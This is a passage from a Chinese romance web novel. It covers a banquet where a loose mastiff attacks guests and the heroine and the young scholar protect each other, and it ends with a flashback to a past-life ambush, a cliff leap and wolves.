“嗯。”谢令闻轻声道,“拿去买糖。”
崔蘅哭笑不得:“买糖用不了那么多。”
“买你想要的东西。”
崔蘅现下吃穿不愁,没什么想要的东西,她看到谢令闻身上已洗得发白的衣衫,想起快至严冬,他还只有一件不合身的棉衣。
只想着让她买想要的东西,却一点也没想到自己需要什么。
有时间去替他裁一身棉衣吧,崔蘅在心底叹了口气,想了想道:“那我替你收起来攒着,谢哥哥若有需要用钱的地方记得找我来要。”
她把钱和他雕的大黄一起放进一个已经有些散钱的花匣子里,又带着他到书房,把花匣子放进书架第三格,用《伤寒杂病论》之类的书挡住。
“阿爹几乎不会动这些书,我的私房钱放这里就很安全。”崔蘅转身叮嘱他,“谢哥哥记住这个位置,以后用钱就来这里拿。”
她对他毫无保留地信任。
谢令闻蜷起指尖,轻轻点了点头。
26.择鱼宴(一)
申家开宴这天,崔蘅一大早便爬起来,赶去街上的裁缝店取为谢令闻定做的棉衣。
“阿蘅这么早便来了?”裁缝铺老板也住巷子里,看着崔蘅长大,热情地招呼道,“恰巧这衣裳刚做好,你来瞧瞧可还中意。”
都是街坊邻居,不会坑她一个小孩子。崔蘅上手揉了一把,棉花充足,触手绵软,便知老板没偷工减料。
“多谢蒋姨,剩下的钱我给您放这儿了。”她拿上衣服,道谢后离开。
从路那头拐进来一个也认识崔蘅的婶子,瞧着小娘子匆匆忙忙的样子,向蒋娘子打听:“崔家闺女一大早来做什么的?”
“嗐,给谢家那小子拿衣裳。”蒋娘子把钱扔进抽屉里,哼笑一声,“这崔家两口子倒是识货,老早便挑好金龟婿。”
整条街上的人都知道崔显现在拿谢令闻当半个儿子,私底下都说谢令闻以后是要入赘到崔家的。
“我看倒未必。”那婶子神秘兮兮地压低声音,“这谢家小子已成择鱼宴一甲,飞黄腾达指日可待,以后如何,可不得他说了算。”
蒋娘子没接她的话茬,笑着摇了摇头:“以后的事,谁说得准呢。”
“谢哥哥!”崔蘅已经跑到谢家,气喘吁吁地推开门。
青州治安严格,夜夜有巡逻官兵,谢令闻怕崔蘅来寻自己打不开门,夜间向来不落锁,只是没想到她会直接进来。
他一身里衣,衣冠不整,只好先将外袍扯过披在身上。
“谢哥哥刚起身吗?”崔蘅抱着棉衣进来,“正巧今日天寒,谢哥哥穿我这个吧。”
谢令闻接过来,触到细滑的面料和内里柔软的棉花,“这是崔叔的衣裳?”
“不是呀。”崔蘅坐到门槛上,捧着脸笑意盈盈地道,“这是我找蒋娘子做的新衣裳,花样和纹路皆是我自个做主挑的,谢哥哥瞧瞧喜不喜欢。”
鸦青色直缀,绣着柳条纹,低调却不普通。
“嗯,喜欢。”谢令闻的指尖轻轻摩挲着衣服上的纹路,还未穿到身上,已觉暖意充沛。
“快试试合不合身。”小娘子催促。
谢令闻去解衣带,余光对上她黑白分明的眼睛,动作一顿。屋子里没什么能遮挡的东西,他轻咳一声作暗示。
她略带疑惑地望过来:“快试试呀。”
谢令闻无奈地走上前,扶着她的肩膀,将她调了个方向,轻声道:“非礼勿视。”
崔蘅这才反应过来,耳根有些发热,连忙主动站起身把门关上,“那、那我在门口等着。”
不多时,门被打开,谢令闻垂眸整理着袖口跨出门。
少年换上暗色衣衫,与从前的模样便大不相同,鸦青色衬得他皮肤冷白,眉眼也愈发浓烈。长眉入鬓,瞳如点漆,面色清冷,连眉间一直沉积的那点郁色都透出几分凛然不可侵犯。
她眼神太过直白,直直地盯着他瞧,谢令闻抿起唇,屈起指节敲了敲门框,“如何?”
崔蘅恍然回神,用力点了点头:“谢哥哥,这身衣服太适合你了,今日必定艳压群郎!”
他轻笑:“油嘴滑舌。”
丽娘在崔家叫崔蘅回家梳妆,二人便回了崔家。
择鱼宴不仅宴请前三甲,还会邀请书院先生及其家眷,崔显不喜这种场合,往年皆借口推掉,今年因不放心谢令闻单独赴宴,便携妻女一同前往,留崔安在家等崔大来接。
此次是去重要场合,崔蘅换了身藕粉色缠枝牡丹立领夹袄,下配同色马面裙,裙摆绣着蝶穿花。她的头发全梳了起来,髻前戴一对掩鬓,后脑勺垂一根到腰间的浅粉色发带,行走间裙下蝴蝶翻飞,发带飘舞,灵动又可爱。
被父母逼着出来见客的申宴山一眼便瞧见她。
“申宴山见过先生。”他三步并两步到崔家人面前,头一次正正经经地没出洋相,“我带先生去见父亲。”
崔蘅与丽娘被申府大夫人身边的女使带走,与崔显和谢令闻就此分开。
申宴山的目光不自觉地跟着崔蘅走,一道鸦青色身影忽然如山般移过来,他抬起眼,对上一双冷然的黑眸。
“烦请申小郎君带路。”少年嗓音冷凌,把小娘子的身影挡得严严实实。
女使领着崔蘅和丽娘到花园。
申家不愧是青州第一豪门望族,花园中奇花异草郁郁葱葱,三步一楼台,五步一水榭,廊院亭桥鳞次栉比,无处不精致。
她们来的不算晚,园中已有许多女客,申大夫人在一处亭子中正与女眷们闲话。
见丽娘到,大夫人竟站起身亲自迎上来,“早听说崔夫人要来,我已等许久了。”
崔蘅惊讶,丽娘也有些惊疑,幸而母女二人撑得住大场面,面上未露出丝毫不对。
大夫人亲亲热热地拉着丽娘坐到上首,崔蘅向前走了两步,盈盈欠腰行礼,“崔蘅见过各位夫人。”
“早听闻崔先生的千金秀外慧中,今日一见果真不俗。好孩子,快来叫我瞧瞧。”大夫人笑意盎然,朝崔蘅招了招手。
崔蘅大大方方地起身走近,大夫人握着她的手看了又看,眼中满是喜爱,“端庄大方,矜持不苟,比起我们府中的小娘子也分毫不差,是个好孩子。”
她说着,脱下腕上的通体翠丽的镯子要戴到崔蘅手上,崔蘅一惊连忙推辞,作出惶恐的样子,“夫人……这实在贵重。”
丽娘忙站起身,笑道:“夫人,孩子还小,受不住如此贵重之物。”
“一个镯子而已,算我给阿蘅的见面礼。”申大夫人叹了口气,向丽娘抱怨道:“我向来是喜欢女儿的,可恨上辈子做了孽,只得一个顽皮的泥猴子。今日瞧见阿蘅真是越发欢喜,恨不得这孩子是我自个儿生出来的。”
这话中之意不可深思。
崔蘅低下头,面上一片谦逊,心中却疑窦丛生。她与申大夫人未曾相识,怎得偶然一面便待她如此亲近?
奇怪,太奇怪了,这个镯子坚决收不得,崔蘅的直觉告诉她,此事有诈。
她将手悄悄探入袖中狠狠拧了自己一把,朝申夫人款款一拜,“阿蘅见了夫人也心中欢喜,恨不能一见如故。只可惜阿蘅福薄,自幼戴玉便生红疹,只怕要糟蹋夫人的一片心意。”
她轻轻撩起袖子,露出雪白玉润的胳膊,上面果真起了一大片红痕,看着甚是可怜。
“是我考虑不周了。”大夫人面色顿时变得十分难看,只好收回玉镯,叫女使带崔蘅下去休息。
崔蘅道过谢,递给自家阿娘一个宽心的眼神,便跟着女使去了客房。
“姐姐留步。”她拦住要去请大夫的女使,客客气气地道:“我这是老毛病,向来随身带药,涂上药膏坐一会子便能好全,就不劳烦姐姐为我再跑一趟了。”
这正中女使下怀,今儿全府都忙成一团,她还有许多事等着做,哪能把时间全浪费在一个举人女儿身上,便借坡下驴应了:“那奴婢先
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去忙,娘子有事朝外喊人就成,咱们申府处处都有人守着的。”
她离开后,崔蘅为保不被怀疑,在屋内坐了一盏茶的时间方才出去。
怕申大夫人又寻其他东西来送,她没去后花园,找了个僻静的地方坐着看景,想等开宴时直接去前厅。
远处假山旁却传来一阵欢声笑语,几个穿戴华贵、娇美似仙娥的年轻娘子相携走来,行走间飘来阵阵香风,沁人心脾。
一个神韵与申宴山有三分像,一举一动皆带着些倨傲的小娘子率先看到崔蘅,远远指着问:“坐在亭子里的是谁?”
其余人顺着瞧过去,有见过崔蘅的忙道:“那是崔显崔先生家的千金,名叫崔蘅。”
申穗有些不悦:“她既来参宴,为何不来见过我?”
来申氏参宴的女眷,年长的由她伯母申大夫人接待,其余小娘子们皆要来拜见她、由她陪同招待。
有人道:“我方才听说是大夫人见崔家小娘子心下喜爱,便摘了自己的玉镯相送,没成想她见玉生疹,当下就发作了,大夫人便命人带她下去瞧大夫,应是耽搁了罢。”
申穗的面色沉下去。她是申家二房嫡出的女儿,自认为才貌虽比不得上京贵女,在青州却也是一等一的。不仅父母将她奉为掌上明珠,当家作主的伯父伯母更是对她疼爱有加,连堂兄申宴山也百般护着她。
前些日子伯母废大心思寻到一批岭州的上好玉料打成两个镯子,一个送去给新任抚州夫人,另一个留在手里,申穗以为是预备给自己的生辰礼,哪能想竟被一个名不见经转的举人女儿截了胡。
一个玉镯子倒没什么,她就是好奇什么样儿的天仙,竟能得她那眼高于顶的大伯母青眼。
申穗轻哼一声,加快步子朝崔蘅逼近。一众小娘子快步跟在她身后,来势汹汹。
崔蘅打眼一瞧便知来者不善。
是福不是祸,是祸躲不过,若是躲不过,那便硬躲。崔蘅装作没看见朝她来的申穗,转身便走,一溜烟地跑了。
申穗这种出门有车马伺候的娇女郎自然追不上她,只能站在原地气得咬牙切齿:“她跑什么?我长得有那么吓人吗?”
申家娘子的样貌自是一等一的好,只是这般领着一群人逼近,谁能不害怕?那崔蘅也是个胆大的,见了这位祖宗竟敢躲着走,以后怕是有的苦头吃。
其他人心思百转千回,嘴上却都不敢吱声。
申宴山正在园中瞎逛,碰到气呼呼的申穗,顿觉稀奇:“吆喝,这是哪位神圣有如此大能,竟能将我们家穗娘气得双眼喷火?”
“哥哥!”申穗跺跺脚,不依不饶地抱住他的手臂撒娇,“我讨厌一个人,哥哥要帮我教训回去!”
申宴山最喜欢这个妹妹,自然是要星星不给月亮,当下便道:“只要你高兴,怎么样都依你。”
其余娘子见申宴山如此宠溺申穗,顿时都露出羡艳的神情。
“我就知道哥哥最好了。”申穗露出几分小女儿家的娇态,思索片刻道,“倒也不用作何,你让来福出来溜达两圈吓吓她便成。”
来福是申宴山刚从狐朋狗友那得来的獒犬,通体漆黑,体大如牛,生得丑陋无比,狰狞又可怕。
她看一眼那狗就被吓得腿软,崔蘅一个没见识的小娘子胆识又能有多大?说不定会被吓得便溺,哭着鼻子跑回家,从此再不敢出来见人。
申穗想象着崔蘅的丑态,不禁得意地翘起唇角。
27.择鱼宴(二)
那群小娘子的身影已完全瞧不见,崔蘅方才停下歇歇脚。她擦掉额头上的细汗打量着四周,害怕自己着急忙慌地闯入什么不该进的地方。
身边竹影重重,崔蘅绕过小路,眼前便豁然开朗,水声夹杂着悦耳的丝竹声,袅袅不绝。瞧见被众人围在中间的那道鸦青色的清癯身影,崔蘅才知道自己无意间来到了前院。
只是还未正式开宴,只有男客们三三两两的闲聊,崔蘅在附近寻了个僻静的角落,想等开宴后再跟着女客进去。
园内芳草萋萋,漆器生光。
谢令闻坐在最后首,不断有人前来敬酒,崔显在一旁提点他该如何称呼。
他连饮几杯,眉眼依旧冷肃,吐字有条不紊,却在余光瞥到一抹粉时晃了晃神。
申家大爷和齐言宗姗姗来迟,园内的噪杂声顿时消失不见,二人一路问候着来到谢令闻与崔显面前。
申大爷笑道:“崔先生、谢小郎君,今日繁忙,多有怠慢,还望海涵。”
“大人言重。”谢令闻与崔显起身回礼。
齐言宗也举起酒杯,笑容和蔼:“谢小郎君,多日不见,别来无恙乎?”
申大爷笑容微淡:“齐大人与谢小郎君相识?”
“我们是由崔先生的爱女结缘。”齐言宗笑着与崔显碰杯,解释他们的渊源。
一番寒暄后,申大爷问起谢令闻的课业。
“谢小郎君才华横溢,不知都读些什么书,我也让家中逆子效仿一二。”
少年低垂着水墨般清韵的眉眼,面色谦逊,回道:“晚辈平日只读四书五经,其余的未曾涉猎。”
“我家逆子也只读这些,却不及你半分。”申大爷摇头叹道,“被他母亲宠坏了。”
“小郎君年纪小,贪玩才正常,大人莫急。”
“小郎君一表人才,将来必定大有可为。”
众人见申大爷面露忧愁,纷纷上前开解。
“希望如诸位所说罢。”申大爷摆了摆手,转头问身边的侍从,“宴山呢?怎么不见他来待客?”
侍从也一脸迷茫:“小人不曾见过郎君。”
“蠢货!那么大一只狗都看不住,你这两颗眼珠子不如挖了去!”
申宴山怒发冲冠,给了脸色煞白的侍从一记窝心脚。
侍从不住求饶:“郎君饶命,来福被训犬师饿太久,一开笼子便窜出去了,它力气大,小人实在拉不住啊!”
友庆忙拦住暴怒的申宴山,“郎君,现下最要紧的是找来福,今日府中待客,冲撞到贵客就麻烦了!”
“你说的对,现在外面没听到什么乱声,那畜生应还没伤人。”申宴山喘着气强迫自己冷静下来,一边朝外走一边吩咐,“友庆,你带上咱们院里的人,拿上刀和绳子,能擒住便先擒住,擒不住便就地斩杀,千万不要惊扰到客人和我爹。”
友庆领命去了,申宴山不放心花园里的女眷,寻了个由头让家丁在周围护着。
申府莫名多出些带刀的家丁,崔蘅观察了片刻,发现他们似乎是在寻觅什么东西。
申府进了有伤人意图的贼?
崔蘅正皱眉思索,身后忽然响起窸窸窣窣的声音,她还未来得及回头看,便惊觉有股腥臭的热气喷洒在脖颈上。
余光中,一只高达她肩膀,通体漆黑的恶犬正龇着狰狞的獠牙,恶狠狠地盯着她。
崔蘅的身体比反应更快,在恶犬张嘴咬下的瞬间便翻滚逃出,朝园外狂奔。
“来人!这里有疯犬!来人!”崔蘅满身狼狈,嘶声大喊。
她身后的恶犬却没有追上来,转而蹿进了人更多的园子里。
阿爹和谢令闻还在里面!
崔蘅咬紧牙关,调头便往里冲。
园内已经一片混乱,獒犬出现的出其不意,离得最近的人被扑倒撕扯掉半边身子。
琼林玉宴,顷刻间变成人间炼狱。
谢令闻在慌乱尖叫的人群中护着崔显往后退,正庆幸女客仍在后花园,下一刻,血淋淋的场景中闯进的粉色娇小身影,让他的心脏骤然停摆一瞬。
獒犬囫囵吞咽着人臂,正欢快食肉。
其余人瑟瑟发抖地躲藏在各处,生怕自己成为下一个盘中餐。
崔蘅躲在石墩后,暂时安全,谢令闻紧紧盯着她,不敢妄动分毫。
被獒犬撕扯的人已经没了声息,园子里只剩令人牙酸胆寒的肉骨分离声,以及獒犬响亮的吞咽声。
所有人都屏住了呼吸,祈求外面来人营救。
“阿爹!我阿爹呢!你们都傻站着做什么!快进去救我阿爹啊!”
园外小娘子的哭喊声霎时吸引了獒犬的注意,它咽下最后一口肉,掉头朝外扑去。
崔蘅倏然起身,自身边的酒壶中抓起一支箭矢,向侧方狂奔一段距离后咬紧牙关竭力掷出。
刚带着一众家丁赶来的申宴山迎面撞上飞扑过来的獒犬,巨大的阴影笼罩在他头顶上方,让他瞳孔骤缩,愣在原地。
腥臭的涎水啪嗒滴在申宴山的眼皮上,他闭上眼睛,脸色惨白地迎接自己的结局。
“吼——!”
一声巨响后,地面猛地震颤了一下。
申宴山感觉自己的脸溅上一大股温热的粘稠液体,他抹了把脸,睁开眼时看见
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满手鲜红。
獒犬倒在地面上,巨大的身体止不住的颤着,咽喉处汩汩地淌着血。
所有人都松了一口气,脸上带着劫后余生的喜悦,没人注意獒犬歪歪扭扭地爬了起来。
“阿蘅!”
正垂眼查看自己胳膊的崔蘅耳边忽然炸响丽娘绝望的声音,抬起眼时,獒犬的獠牙已经近在眼前。
她还未反应过来,就被一道鸦青色的身影揽住扑倒在地上。
“砰——!”
獒犬一头撞在墙上,再也没了声息。
崔蘅被谢令闻紧紧护着,除了胳膊还在痛,毫发无伤。
她饶有余惊地喘了口气,腰间钳制的那双臂膀如铁钳一般,让她丝毫动弹不得。
“谢哥哥,无事了。”崔蘅轻轻拍了拍死死抱住自己的少年,低声安慰。
这场意外除了死去的申氏家仆和胳膊脱臼的崔蘅,再无其他人受伤。
申大爷请了最好的大夫来为崔蘅看胳膊。
她忍着痛,小声安慰眼睛通红的丽娘:“阿娘,我没事的。”
话落,厅外又传来一道鞭笞声。
闯出弥天大祸的申宴山被申大爷强令跪在院子正中央受家法,此时已受三十六鞭,被打得浑身是血,就差一口气,申大夫人求情无法,已经哭晕过去。
大厅里气氛沉重,几乎让人无法呼吸。
齐言宗叹了口气,亲自出去劝暴怒的申大爷,让人将昏迷不醒的申宴山抬去看大夫。
“今日之事申某必定会给各位一个交代,府中已备好晚宴,还请各位赏脸。”申大爷满脸歉疚,朝厅内众人作了一揖。
“晚宴就不必了,谁知道会不会再跑出一个什么吃人的猛兽。”崔显丝毫不给他面子,带着一家甩袖离去。
申大爷半点也不敢使架子,忙追上道:“崔先生,今日之事全倚赖令嫒,择日我定带犬子登门道谢!”
崔显冷哼:“道谢就不必了,只望申小郎君懂些事罢!”
崔蘅跟在崔显身后,悄悄落后两步,与谢令闻并排前行。
自方才他救下她开始,便一直没有说话。
“谢哥哥,谢谢你救我。”
小娘子用另外一只好手扯了扯他的袍子,满脸担忧,“你身上有没有伤到哪?”
申府地面皆是由大理石铺就,他抱着她摔在那么硬的地面上,怎么可能不痛呢。
谢令闻垂眼看着小娘子仍泛着白的面颊,缓缓摇了摇头。
他试着叫她的名字,却还是发不出半点声音。
谢令闻蜷缩起冰凉的指尖。
——他失声了。
28.保护
回到崔家后,天色已经黯淡下来。
丽娘与崔显不放心,又叫来一个大夫给崔蘅瞧胳膊。
方才在申府时崔蘅为面子硬是咬着牙没吭声,这会儿没了外人,大夫稍稍一碰,眼泪便直往外飙。
丽娘与崔显也心疼得不行,直叫大夫轻点。
“小娘子的胳膊无碍,猛然用力过大致使脱臼而已,现下已接上,养上几天便好,不必太忧心。”大夫擦了擦额头上的细汗,乐呵呵地道,“像二位这般看重孩子的人家也是少见。”
“当父母的总是要多操心些。”丽娘给大夫倒了杯茶水递过去,笑道,“还要麻烦大夫再瞧瞧我家另一个孩子,他话少,身上有病痛也不愿意开口的。”
谢令闻正在阴影一角沉默地坐着,闻言缓缓抬起头。
“谢哥哥今日应该摔着了。”崔蘅也道,“大夫给看看吧。”
“那小郎君便伸手让我瞧瞧脉象罢。”大夫将手搭到少年清癯的手腕上,面色逐渐凝重。
“这位小郎君脉细兼数,气虚至极,元阳不足,乃为多年积疾,再如此下去,恐寿元不永!”大夫气得吹胡子瞪眼,指着崔显与丽娘骂道,“亏老朽方才还认为你们二人是疼爱孩子的人家,原是个偏心眼的,竟如此虐待长子!”
崔显没反驳,连连称是:“大夫所言极是,还劳您给开个温养的方子。”
“这小郎君生得一表人才,瞧着面相极好,将来定大有作为,老朽劝你们,莫要让孩子寒心。”大夫冷哼一声,接过丽娘递来的纸笔。
崔蘅看着紧紧抿着唇的谢令闻,眉头忽然狠狠攒起,“谢哥哥,你是不是说不出话了?”
自谢令闻将她救下起便未曾言语,崔蘅还以为是他气自己太大意差点丢了性命,可方才大夫误认为崔家虐待孩子他也没有开口,这不是他的作风。
谢令闻看着焦急的小娘子,轻轻点了点头。
“怎么会说不出话!?”丽娘与崔显顿时急了,抓着大夫催促,“您快给瞧瞧啊!”
“那你们倒是放开老朽的手啊!”大夫一把甩开架着他胳膊的二人,心里暗自嘀咕,这着急的模样也瞧不出是作假,怎得就能将大儿子虐待至此。
大夫仔细探查了谢令闻的情况,抬眼对上三双紧紧盯着他的眼睛,甚是无语地道:“无碍,只是受惊过度,过几日便能恢复。”
崔家三口松了口气。
送走大夫后,崔显压着怒气向店小二吩咐:“若见到申家人,不必理会他们,也不许他们进门,他们非要进便直接打出去!”
丽娘忧心忡忡地道:“往后你与令闻还要在书院待许久,如此怕是会得罪他们。”
“他们若是因此给我与令闻使绊子,便是他们小肚鸡肠,整个青州谁不知今日发生的祸事是申家长孙所为?若不是阿蘅反应及时,申家现已挂白了,他们敢有意见吗!?”崔显冷哼一声,“再说令闻已在青州打响名声,便是不在这宏德书院读,也能拜往其他大儒座下,他申家算什么东西!”
“阿爹说得对!他申家算什么东西!那申宴山将谢哥哥吓成这般模样,往后我定见他一次打他一次!”崔蘅也气得不轻。
谢令闻想说自己不怕那獒犬,奈何发不出声音,只好安静地听着崔蘅替他打抱不平。
眉目含怒的小娘子抓着他的衣袖,原本气恼的声音放轻了些许,小声道:“谢哥哥,你别怕,我很快长大,以后我保护你。”
谢令闻望进她被怒火冲得发亮的眸子里,被这个承诺坠得心口发麻。
傻子。
哪有妹妹保护哥哥的?
可崔蘅是认真的。
因他不止救她这一次。
前世时,他们还针锋相对,谢令闻就不顾性命自狼口中救下过她。
靖武八年,圣上携太子前往泰山祭祀,以祈天下风调雨顺。
夏日炎热,蝉鸣鼓噪,贵人们坐于放置着冰鉴的车内,不觉酷暑,只有崔蘅这些不配上车的下人被汗湿透衣衫。
因着幼时乞讨吃过太多苦,崔蘅不仅怕能冻死人的严冬,也畏惧三伏天的燥热。
浩浩荡荡的队伍已经顶着烈日赶了一整天的路,此时太阳还高高悬于苍穹,崔蘅望一眼便觉头晕目眩。
长宣王府的人满目忧心:“大人的脸色实在太差了,去禀报殿下吧。”
“殿下还在陪圣上下棋,莫要因小事叨扰。”崔蘅抿了抿干燥起皮的唇,摆手道,“我无碍,左右也快到驻地了。”
太阳愈发毒辣,地面被烘烤得似要冒出热气,面前的景象在热浪中歪歪曲曲地扭动起来,张牙舞爪。
崔蘅的眼皮越来越重,她蹙眉撩起面前的碎发,微风拂过额间,虽聊胜于无,好歹也清醒了些。
下人来报:“大人,谢大人差人来说有事与您相商。”
谢令闻与她能有何事要商议?
崔蘅带着疑惑上了谢令闻的马车,方掀开车帘,冰鉴的冷气便扑面袭来,她顿觉神清气爽,连眼前的人也瞧着顺眼许多。
“崔大人,请坐。”
青年正临窗而坐翻阅书卷,他一身白衫,乌黑发丝垂在身前,似青竹覆雪,清雅高洁,干净得不染纤尘,让人赏心悦目。
“长宣王殿下的食宿单子方才交到我手上,还劳请你察阅是否有不妥之物。”
他如玉般雕刻的手指拿过桌上的折子递给她。
崔蘅被那润白修长的手指晃了下眼,一时竟失了声,接过折子垂眼翻看起来。
她无意拖延时间,只是方才热得发懵的脑袋还未缓过神,一页瞧上半柱香的时间也不晓得里头写了什么。
“我们殿下没什么忌口的,先如此安排着。”她把折子放到桌上,低头瞧见小太子的课业上满是朱红批注,想再多蹭会冰鉴,便开口打趣道,“夏日怡景难得,谢大人却只顾埋首案牍,岂不可惜?”
“谢某公务缠身,不似崔大人有闲情雅致。”谢令闻掀起眼睫,清润如玉的嗓音方落地,马车却突然一滞。
崔蘅眼神骤然一凛,猛地捞起身形不稳的谢令闻护在怀中,抬脚侧踢出桌上的砚台。
一声金鸣,带着杀气的箭矢被砚台砸中偏离方向,刺入崔蘅耳旁三寸的车壁中。
“有刺客,你护好自己,待在车里不要出去。”崔蘅将书案侧翻过来挡住谢令闻,提剑下车。
外面血腥味已经十分浓重,尖叫声与呼救声乱成一团。<
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p>赵檐在御车上,安危暂且不用担心,崔蘅便在谢令闻车外杀敌。
原本她一人还算招架得过来,不知是谁喊了一句“太子在此车中”,刺客便顿时乌泱泱地涌了上来。
她一人在包围圈内,体力渐渐不支,只是用本能去挥剑,连身上受了伤都觉察不出。
剑柄被血浸润,滑得几乎握不住。崔蘅喘着气,耳边嗡鸣声阵阵,睫毛溅上的血珠滴落到眼睛里,把世界也染成一片血红。
刺客见她已是强弩之末,愈发嚣张:“把太子交出来,我们饶你不死。”
太子是要死,但不能现在死。他若有事,赵檐必然在被怀疑之列。
崔蘅撕下衣角用牙齿咬住,将剑与手紧紧捆在一起,一字一顿道:“有我在,你们休想动车内人半根手指。”
她再次提剑冲进人群。
可即使有再多力气,也总有耗完的那一刻。崔蘅的手已经在发颤,收割下一个头颅的同时,肩胛骨被一剑刺穿。
她脱力般屈膝跪倒在地,瞳孔中泛着寒光的利剑逐渐放大。
下一瞬,身后马车忽然洒出一把香灰,刺客们一时不察被迷了眼,崔蘅趁此机会,毫不犹豫地抓住朝她伸来的手,借力起身狂奔。
他们跑的方向正与御车相反,原以为刺客们发现太子不在车内便不会追来,他们也能借机去寻救兵,偏有几个刺客似疯狗一般咬着不放,直将二人逼至崖边。
崔蘅朝下望了一眼:“有水。”
谢令闻与她对视一眼,随即明白她的意思。
二人向前一步,毫不犹豫地跳了下去。
耳边狂风烈烈,崔蘅瞧不清谢令闻的表情,又觉得直往下掉不免无聊,便贫嘴道:“能与谢郎共死一回,蘅无憾矣。”
抓着她的那只手忽然紧了紧,崔蘅这才发现,两个人的手自开始便未松开。
两只掌心中捂出的汗潮湿滑腻,她觉得不舒服想松开,可下坠速度太快,直到坠入河中,崔蘅被冰凉的河水呛得失去意识,那只润白如玉却掌心粗糙的手还紧紧抓着她不放。
不知过了多久,崔蘅耳边传来男人低缓的喘音。她缓缓睁开黏在一起的眼皮,发现自己正无力地伏在谢令闻背上。
青年脊背嶙峋似竹节凸起,硌得她身上很痛。
崔蘅皱起眉,有些不满,等视线完全清晰,先映入眼帘的却是他苍白的肌肤和惨无颜色的唇瓣。
她抿了抿唇,找回点良心,虚弱地道:“放我下来,我自己走。”
不张嘴不知道,一张嘴那沙哑的嗓音将她自己都吓了一跳。
“你身上很多伤,走不快。”谢令闻的声音很轻,似乎是在竭力吐匀呼吸,“方才我看到许多狼的脚印,趁着天还未黑,我们必须快些走出这片林子,否则便会葬身狼口。”
所以她就不要瞎逞强。
下面的话他不说她也明白。
崔蘅闭上嘴,警惕地观察着四周的环境。
此时无风,林中的草丛却簌簌作响,一双双犹如鬼火的翠绿色眼睛隐在深处,如饥似渴地盯着他们的身影,仿佛下一秒便会扑上来。
崔蘅抓紧谢令闻的肩膀,喉间紧绷,头皮发麻,“它们来了。”
29.前世
黄昏落幕,天边的火烧云大有燎原之势,谢令闻背着崔蘅淌在火原般的浅滩中,雪白衣衫污浊不堪,似跌入泥潭的鹤。
“谢令闻,你放下我吧。”崔蘅看那些狼跟在他们身后,时而停下时而猛追,大有玩弄之意,心下不禁恼怒,“你回去找人来,将这些畜生扒皮抽筋!”
谢令闻没应声,又或许他已经没了回应的力气,本就体弱的人现下又带着一个累赘,每一步都靠本能。
崔蘅能清楚地感觉到他沉重的步伐和紊乱的呼吸,她叹了口气:“谢令闻,总要活一个回去。”
“不。”即便呼吸急促,他吐出的字依旧平稳冷淡。
崔蘅实在不明白他为何如此顽固不堪。
将她丢在此处任由饿狼分食,届时尸骨无存,赵檐无法细究她的死因,也奈何不了他。
换作是崔蘅,在此种危境之中,必会第一时间铲除拖后腿的异己。
那么多年过去,她始终看不懂谢令闻。
夜色似藩篱,将他们困在这个狼群主宰的猎场中,崔蘅几乎已经听见狼群带着嗜血的兴奋鼻息。
她垂下眼,青年苍白的额角湿汗涔涔,汗珠坠在他纤长的眼尾,似玉珠滚落。
“谢令闻,我仍有余力,足够与这群牲畜一战。”
她实在受不了这种被当作猎物玩弄的耻辱感。
他停了,却没有回答。
“你相信我。”崔蘅拔出藏于靴中的匕首,寒光照亮她狠戾的双眼,“让我下去,我会让这群牲畜夹着尾巴滚回老窝。”
谢令闻微微屈膝,将她放到地上。
“自己跑得动吗?”他哑声问。
崔蘅点了点头,面色坚定:“这点小伤不碍事,待会我引开狼,你便朝相反的方向跑,不要停下,一直跑到有人烟的地方,记住了吗?”
“不要停下,一直跑到有人烟的地方。”他轻声重复,而后望向她,“你记住了吗?”
“……什么?”
崔蘅有瞬间的怔愣,在这个空档,谢令闻已经夺去她手中的匕首,毫不犹豫地朝自己胳膊上狠狠划下一刀。
浓重的血腥味弥漫开来,狼群开始躁动,发出兴奋的嚎叫。
“跑,不要停下。”他把淋漓带血的匕首塞回崔蘅手中,将她推向前。
“你要做什么!?”崔蘅想伸出手抓住他,却只触到一点他微凉的指尖。
“还请崔大人记住今日你我同生共死之时,来日若长宣王继承大统,请您救我那学生一命,谢某不胜感激。”
白袍似幡旗翻飞,他最后回头看了一眼,从容地被危险重重的夜色吞噬。
崔蘅死死攥着匕首,眼睁睁看着群狼朝那抹白扑去。她咬紧牙关,忍着身上伤口的剧痛,转身朝林外狂奔。
她不知道自己跑了多久,身上的伤口已经痛到麻木,耳边只剩她自己的喘息声,双腿似灌了铅般沉重。
崔蘅坚持不住了。
她扶着树停下,眼前阵阵发黑,尖锐的耳鸣声似要刺穿大脑。
难道就要死在这儿了吗?
崔蘅仰起脸,看着望不到尽头的树林,胃里翻滚,头晕目眩。
她失力摔倒在地上,匕首也脱了手,意识涣散之前,眼前似乎又出现那片被夜色吞噬的月牙白衣角。
今日,还当真要与他同葬这片林中了。
……
“我老大不许外人解他的里衣,他会生气的!”
崔蘅迷蒙中听见冬禧的哭声。
“你们不许动我老大!”
“崔长史身上的伤那么重,你这小子拦着不让看是打得什么主意!?让开!”
“不行!我老大说了,即便是死也不许其他人碰里衣!”
她缓缓睁开眼,看见冬禧瘦小的背影挡在自己榻前,不让任何人靠近。
赵檐不在,王府侍女怕崔蘅出事,一个个急得不行,拎开冬禧就来扒崔蘅的衣裳。
“我无事。”崔蘅攥紧自己的衣带,在侍女们冲上来之前虚弱地道,“胸前没有伤。”
“老大你醒了!”冬禧听见她的声音,惊喜地蹿上榻抱住她的腰,哭叫着道,“老大你吓死我了,你身上好多伤,还流了好多血,我以为你活不成了!”
冬禧是崔蘅偶然碰到的乞儿,大冬天坐在雪地里嚼树皮充饥,看着实在可怜,她便收了跟在自己身边,取名冬禧。
这孩子是个死心眼儿,她说自己和他小时候一样当过乞儿,还天天被欺负,肩膀上被坏蛋刻了一个字,所以她不喜欢在别人面前脱里衣。
这孩子记住了,谁想碰她衣服都似狼崽子一般龇牙,赵檐也不行。
“我没事。”崔蘅笑着揉了揉冬禧的头,她循顾四周,发现自己在赵檐的帐中,便问,“怎么就你一个人,殿下呢?”
冬禧擦掉眼泪,手还不肯放开她的衣袖,“殿下寻到谢大人的衣冠去向皇上回命了,应当马上回来。”
“你说什么!?”崔蘅心中一颤,“谢令闻没有回来!?”
“对啊,那边有狼的踪迹,大约是被狼吃了,太子殿下知道消息后哭晕好几回了。”
冬禧也有点难过,他觉得谢大人和老大一样是好人。有次元宵节,老大跟着殿下去办事,他蹲在车架上发呆,谢大人的马车刚好路过,瞧到他自己一个人,还给他抓了把糖。
“冬禧,你去找匹马来。”
崔蘅咬牙下了榻,穿靴披袍朝外走。
冬禧回过神来:“老大要去哪?”
崔蘅拿上剑,忽略伤口的钝痛,回道:“去寻谢令闻。”
